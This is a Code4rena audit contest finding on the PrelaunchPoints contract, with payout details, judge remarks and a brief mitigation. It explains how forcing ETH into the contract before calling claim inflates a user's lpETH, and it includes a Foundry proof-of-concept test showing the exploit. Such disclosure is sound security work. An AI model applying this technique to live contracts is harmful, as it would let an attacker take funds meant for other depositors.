Platform: Code4rena
Start Date: 01/05/2024
Pot Size: $12,100 USDC
Total HM: 1
Participants: 47
Period: 7 days
Judge: Koolex
Id: 371
League: ETH
Rank: 13/47
Findings: 1
Award: $386.08
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xnev
Also found by: 0x04bytes, 0xBugSlayer, 0xJoyBoy03, 0xSecuri, 0xrex, Bigsam, DMoore, Evo, Greed, Kirkeelee, Krace, Pechenite, Rhaydden, SBSecurity, Sajjad, TheFabled, Topmark, XDZIBECX, ZanyBonzy, _karanel, bbl4de, btk, d3e4, gumgumzum, nfmelendez, novamanbg, petarP1998, samuraii77, sandy, shaflow2, sldtyenj12, web3er, y4y, yovchev_yoan
284.4444 USDC - $284.44
Description:
In the Prelaunchpoint
the functions lock
and lockFor
allow users to lock LRTs or WETH into the contract. After the owner calls setLoopAddresses
and converts all the ETH, users are able to call the claim
and claimAndStake
functions. A user can force ETH into the smart contract and right after call the claim
function with the LRT Token with a small percentage. Because claimedAmount
is set to address(this).balance
this will also get the forced ETH, allowing users to remove the risk of locking a large amount and rather lock a small amount and then force ether to get the desired lpETH.
Impact:
Deposits are active up to the lpETH contract and lpETHVault contract are set
Proof of Concept:
claim
function and gets the lpETH for the forced ETHPaste this into PrelaunchPoints.t.sol
function testDepositAndStakeAfterTheClaimStartDate() public { uint256 lockAmount = 10; address userOne = vm.addr(1); lrt.mint(userOne, lockAmount); vm.startPrank(userOne); lrt.approve(address(prelaunchPoints), lockAmount); prelaunchPoints.lock(address(lrt), lockAmount, referral); vm.stopPrank(); // Set Loop Contracts and Convert to lpETH prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault)); vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1); prelaunchPoints.convertAllETH(); vm.warp(prelaunchPoints.startClaimDate() + 1); bytes memory data = abi.encodeWithSelector(0x415565b0, address(lrt), ETH, ((lockAmount * 1) / 100)); vm.deal(userOne, 10); vm.prank(userOne); (bool success,) = address(prelaunchPoints).call{value: 10}(""); if (!success) revert("Not Successful"); uint256 temp = lpETH.balanceOf(address(userOne)); console.log(temp); vm.prank(userOne); prelaunchPoints.claim(address(lrt), 1, PrelaunchPoints.Exchange.TransformERC20, data); temp = lpETH.balanceOf(address(userOne)); console.log(temp); }
Tools Used
Manual Review
Recommended Mitigation:
receive
function is called revertETH-Transfer
#0 - c4-judge
2024-05-15T14:36:34Z
koolexcrypto marked the issue as duplicate of #6
#1 - c4-judge
2024-05-31T09:58:23Z
koolexcrypto marked the issue as duplicate of #33
#2 - c4-judge
2024-06-05T09:54:45Z
koolexcrypto marked the issue as satisfactory